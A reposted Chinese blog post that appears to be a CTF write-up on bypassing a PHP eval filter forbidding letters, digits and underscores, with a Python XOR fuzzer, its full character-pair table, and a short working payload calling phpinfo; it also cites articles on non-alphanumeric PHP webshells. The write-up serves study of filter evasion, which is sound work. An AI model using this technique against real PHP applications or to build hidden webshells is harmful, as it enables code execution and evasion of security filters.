A-A+

一个CTF题目的小结-无字母数字getFlag

2018年09月09日 15:30 汪洋大海 暂无评论 阅读 49 views 次

前段时间看了一个比赛,题目应该算是比较旧的了

 <?php
    include 'flag.php';
    if(isset($_GET['code'])){
            $code = $_GET['code'];
            if(strlen($code)>50){
                    die("Long.");
            }
        $a = preg_match("/[A-Za-z0-9_]+/",$code);
        print_r($a);
            if($a){
                    die("NO.");
            }
            eval($code);
    }else{
            highlight_file(__FILE__);
    }
    //$hint =  "php function getFlag() to get flag";

    ?>

代码中有提示,可以执行getFlag()这个函数获取flag

这个题目的考点就在于正则这块儿了

不能出现字母数字还有下划线,之前有比赛题目是可以出现下划线的

那这里就可以写一小小段代码来fuzz一下,哪些字符通过异或可以产生a-zA-Z_


import string

if __name__ == "__main__":
    s = string.printable[62:62+32] ##代表    !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    s1 = string.printable[:62]     ##代表    0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
    for i in s:
        for j in s:
            x = chr(ord(i)^ord(j))
            if x in s1+'_':
                print '{0}\t{1}\t{2}'.format(i,j,x)

上面产生的结果是


!       @       a
!       [       z
!       `       A
!       {       Z
!       ~       _
"       @       b
"       [       y
"       `       B
"       {       Y
"       }       _
#       @       c
#       [       x
#       `       C
#       {       X
#       |       _
$       @       d
$       \       x
$       ]       y
$       ^       z
$       `       D
$       {       _
$       |       X
$       }       Y
$       ~       Z
%       @       e
%       \       y
%       ]       x
%       _       z
%       `       E
%       |       Y
%       }       X
&       @       f
&       \       z
&       ^       x
&       _       y
&       `       F
&       |       Z
&       ~       X
'       @       g
'       ]       z
'       ^       y
'       _       x
'       `       G
'       }       Z
'       ~       Y
(       @       h
(       [       s
(       \       t
(       ]       u
(       ^       v
(       _       w
(       `       H
(       {       S
(       |       T
(       }       U
(       ~       V
)       @       i
)       [       r
)       \       u
)       ]       t
)       ^       w
)       _       v
)       `       I
)       {       R
)       |       U
)       }       T
)       ~       W
*       @       j
*       [       q
*       \       v
*       ]       w
*       ^       t
*       _       u
*       `       J
*       {       Q
*       |       V
*       }       W
*       ~       T
+       @       k
+       [       p
+       \       w
+       ]       v
+       ^       u
+       _       t
+       `       K
+       {       P
+       |       W
+       }       V
+       ~       U
,       @       l
,       [       w
,       \       p
,       ]       q
,       ^       r
,       _       s
,       `       L
,       {       W
,       |       P
,       }       Q
,       ~       R
-       @       m
-       [       v
-       \       q
-       ]       p
-       ^       s
-       _       r
-       `       M
-       {       V
-       |       Q
-       }       P
-       ~       S
.       @       n
.       [       u
.       \       r
.       ]       s
.       ^       p
.       _       q
.       `       N
.       {       U
.       |       R
.       }       S
.       ~       P
/       @       o
/       [       t
/       \       s
/       ]       r
/       ^       q
/       _       p
/       `       O
/       {       T
/       |       S
/       }       R
/       ~       Q
:       @       z
:       [       a
:       \       f
:       ]       g
:       ^       d
:       _       e
:       `       Z
:       {       A
:       |       F
:       }       G
:       ~       D
;       \       g
;       ]       f
;       ^       e
;       _       d
;       |       G
;       }       F
;       ~       E
<       [       g
<       ]       a
<       ^       b
<       _       c
<       {       G
<       }       A
<       ~       B
=       [       f
=       \       a
=       ^       c
=       _       b
=       {       F
=       |       A
=       ~       C
>       [       e
>       \       b
>       ]       c
>       _       a
>       {       E
>       |       B
>       }       C
?       [       d
?       \       c
?       ]       b
?       ^       a
?       `       _
?       {       D
?       |       C
?       }       B
?       ~       A
@       !       a
@       "       b
@       #       c
@       $       d
@       %       e
@       &       f
@       '       g
@       (       h
@       )       i
@       *       j
@       +       k
@       ,       l
@       -       m
@       .       n
@       /       o
@       :       z
[       !       z
[       "       y
[       #       x
[       (       s
[       )       r
[       *       q
[       +       p
[       ,       w
[       -       v
[       .       u
[       /       t
[       :       a
[       <       g
[       =       f
[       >       e
[       ?       d
\       $       x
\       %       y
\       &       z
\       (       t
\       )       u
\       *       v
\       +       w
\       ,       p
\       -       q
\       .       r
\       /       s
\       :       f
\       ;       g
\       =       a
\       >       b
\       ?       c
]       $       y
]       %       x
]       '       z
]       (       u
]       )       t
]       *       w
]       +       v
]       ,       q
]       -       p
]       .       s
]       /       r
]       :       g
]       ;       f
]       <       a
]       >       c
]       ?       b
^       $       z
^       &       x
^       '       y
^       (       v
^       )       w
^       *       t
^       +       u
^       ,       r
^       -       s
^       .       p
^       /       q
^       :       d
^       ;       e
^       <       b
^       =       c
^       ?       a
_       %       z
_       &       y
_       '       x
_       (       w
_       )       v
_       *       u
_       +       t
_       ,       s
_       -       r
_       .       q
_       /       p
_       :       e
_       ;       d
_       <       c
_       =       b
_       >       a
`       !       A
`       "       B
`       #       C
`       $       D
`       %       E
`       &       F
`       '       G
`       (       H
`       )       I
`       *       J
`       +       K
`       ,       L
`       -       M
`       .       N
`       /       O
`       :       Z
`       ?       _
{       !       Z
{       "       Y
{       #       X
{       $       _
{       (       S
{       )       R
{       *       Q
{       +       P
{       ,       W
{       -       V
{       .       U
{       /       T
{       :       A
{       <       G
{       =       F
{       >       E
{       ?       D
|       #       _
|       $       X
|       %       Y
|       &       Z
|       (       T
|       )       U
|       *       V
|       +       W
|       ,       P
|       -       Q
|       .       R
|       /       S
|       :       F
|       ;       G
|       =       A
|       >       B
|       ?       C
}       "       _
}       $       Y
}       %       X
}       '       Z
}       (       U
}       )       T
}       *       W
}       +       V
}       ,       Q
}       -       P
}       .       S
}       /       R
}       :       G
}       ;       F
}       <       A
}       >       C
}       ?       B
~       !       _
~       $       Z
~       &       X
~       '       Y
~       (       V
~       )       W
~       *       T
~       +       U
~       ,       R
~       -       S
~       .       P
~       /       Q
~       :       D
~       ;       E
~       <       B
~       =       C
~       ?       A

然后需要将异或产生的字符串保存到变量中,这里有一个坑,我们学到的php变量命名规则是需要"a-zA-Z_"这样的字符作为变量开头,但是这里全都给禁用了,所以使用中文作为变量(我搞不太懂这里的原理,有表哥知道的请指正)

由于题目中已经给出了hint,所以直接构造getFlag函数即可,目前已知最短payload(这里我用phpinfo做测试)

 $啊="-@-@@[@"^"](]).=/";$啊();

https://woj.app/wp-content/uploads/2018/09/c3c7dcc960a91c43553ca1102e5d2379.png

https://woj.app/wp-content/uploads/2018/09/18e26ef0aecd4ccaff629b6dff3ca09c.png

参考文章:

过狗过盾的php一句话(非字母数字的)

编写变态的(非字母数字的)PHP后门

一些不包含数字和字母的webshell

Complete Character List for UTF-8
http://www.fileformat.info/info/charset/UTF-8/list.htm

文章为转载,来源:https://www.kkze.tk/?post=26

标签:

给我留言